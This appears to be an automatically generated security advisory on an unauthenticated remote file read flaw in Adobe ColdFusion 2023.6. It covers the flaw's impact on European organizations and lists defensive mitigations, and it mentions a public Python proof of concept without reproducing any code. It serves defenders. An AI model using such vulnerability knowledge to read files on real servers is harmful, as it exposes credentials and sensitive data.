Adobe ColdFusion 2023.6 - Remote File Read
Adobe ColdFusion 2023.6 - Remote File Read
AI Analysis
Technical Summary
The identified security threat concerns a remote file read vulnerability in Adobe ColdFusion version 2023.6. ColdFusion is a widely used web application platform that enables rapid development and deployment of web applications. This vulnerability allows an unauthenticated remote attacker to read arbitrary files on the server hosting ColdFusion by exploiting improper input validation or insufficient access controls in the affected version. The exploit is delivered remotely over the web, making it accessible to attackers without requiring user interaction or authentication. The availability of a Python-based proof-of-concept exploit code on Exploit-DB indicates that the vulnerability can be reliably exploited, increasing the risk of information disclosure. Although no active exploitation has been reported in the wild, the presence of exploit code lowers the barrier for attackers to weaponize this vulnerability. The lack of a CVSS score necessitates an independent severity assessment, which is medium due to the impact on confidentiality and the potential for reconnaissance or further attacks based on disclosed information. The vulnerability does not directly affect system integrity or availability but can expose sensitive configuration files, credentials, or other critical data stored on the server. The absence of official patches or mitigation guidance in the provided data suggests that organizations must implement interim controls and monitor for exploitation attempts.
Potential Impact
For European organizations, this vulnerability poses a significant risk of unauthorized disclosure of sensitive data hosted on ColdFusion servers, including configuration files, credentials, and proprietary information. Such data leakage can facilitate further attacks such as privilege escalation, lateral movement, or targeted phishing campaigns. Organizations in sectors like finance, government, healthcare, and critical infrastructure that rely on ColdFusion for web applications may face regulatory compliance issues under GDPR if personal or sensitive data is exposed. The medium severity reflects that while the vulnerability does not allow direct system compromise, the confidentiality breach can have cascading effects on organizational security posture. Additionally, the ease of remote exploitation without authentication increases the threat landscape, especially for publicly accessible ColdFusion instances. European entities with legacy or unpatched ColdFusion deployments are particularly vulnerable, potentially impacting business continuity and reputation.
Mitigation Recommendations
1. Immediately inventory all Adobe ColdFusion 2023.6 instances within the organization to identify exposed systems. 2. Restrict network access to ColdFusion administrative and web application interfaces using firewalls, VPNs, or IP whitelisting to limit exposure to trusted users only. 3. Monitor web server and application logs for unusual file access patterns or attempts to read sensitive files remotely. 4. Implement web application firewalls (WAFs) with custom rules to detect and block suspicious requests targeting file read vectors specific to ColdFusion. 5. Until official patches are released, consider disabling or restricting features and components known to be vulnerable or not essential for operation. 6. Educate development and operations teams about secure coding practices and input validation to prevent similar vulnerabilities. 7. Plan and test deployment of vendor patches promptly once available to remediate the vulnerability definitively. 8. Conduct regular vulnerability scans and penetration tests focusing on ColdFusion instances to detect potential exploitation attempts early.
